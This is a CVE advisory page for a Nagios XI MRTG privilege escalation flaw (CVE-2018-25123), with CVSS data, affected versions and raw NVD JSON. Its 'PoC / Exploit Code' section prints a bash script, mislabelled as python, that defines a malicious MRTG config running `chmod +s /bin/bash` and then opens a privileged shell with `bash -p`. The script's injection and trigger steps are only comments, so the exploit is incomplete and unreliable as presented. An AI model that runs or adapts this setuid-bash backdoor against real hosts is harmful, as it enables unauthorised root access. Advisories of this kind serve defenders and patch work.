Security Vulnerability Report
中文
CVE-2018-25123 CVSS 7.8 HIGH

CVE-2018-25123

Published: 2025-10-30 22:15:38
Last Modified: 2025-11-05 18:26:41

Description

Nagios XI versions prior to 5.5.7 contain a privilege escalation vulnerability in the MRTG graphing component. MRTG-related processes/scripts executed with excessive privileges, allowing a local attacker with limited system access to abuse file/command execution paths or writable resources to gain elevated privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2018-25123 Nagios XI MRTG Privilege Escalation PoC # This PoC demonstrates the privilege escalation vulnerability in Nagios XI MRTG component TARGET_HOST="<target_ip>" NAGIOS_USER="nagios" MRTG_DIR="/usr/local/nagiosxi/html/includes/components/mrtg" # Check if target is vulnerable echo "[*] Checking if target is vulnerable to CVE-2018-25123..." echo "[*] Target: $TARGET_HOST" # Step 1: Identify writable directories in MRTG component echo "[+] Step 1: Identifying writable directories..." ssh $NAGIOS_USER@$TARGET_HOST "find $MRTG_DIR -type d -writable 2>/dev/null" # Step 2: Create malicious MRTG configuration echo "[+] Step 2: Creating malicious MRTG config..." MALICIOUS_CONFIG=' WorkDir: /tmp Target[mrtg_backdoor]: `chmod +s /bin/bash` MaxBytes[mrtg_backdoor]: 1000000 Title[mrtg_backdoor]: Backdoor PageTop[mrtg_backdoor]: <h1>Backdoor Config</h1> ' # Step 3: Inject malicious configuration echo "[+] Step 3: Injecting malicious configuration..." # Note: Actual exploitation requires specific conditions and paths # This is a simplified demonstration # Step 4: Trigger MRTG processing echo "[+] Step 4: Triggering MRTG component processing..." # The MRTG component processes configs with elevated privileges # Step 5: Verify privilege escalation echo "[+] Step 5: Checking for successful privilege escalation..." ssh $NAGIOS_USER@$TARGET_HOST "/bin/bash -p" echo "[!] Note: This PoC requires specific conditions and may vary based on Nagios XI version and configuration."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25123", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:37.967", "lastModified": "2025-11-05T18:26:40.703", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.5.7 contain a privilege escalation vulnerability in the MRTG graphing component. MRTG-related processes/scripts executed with excessive privileges, allowing a local attacker with limited system access to abuse file/command execution paths or writable resources to gain elevated privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.7", "matchCriteriaId": "D8BA18AF-D4DB-4A07-91A2-0AD92B36F7C8"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-privilege-escalation-via-mrtg-graphing-component", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}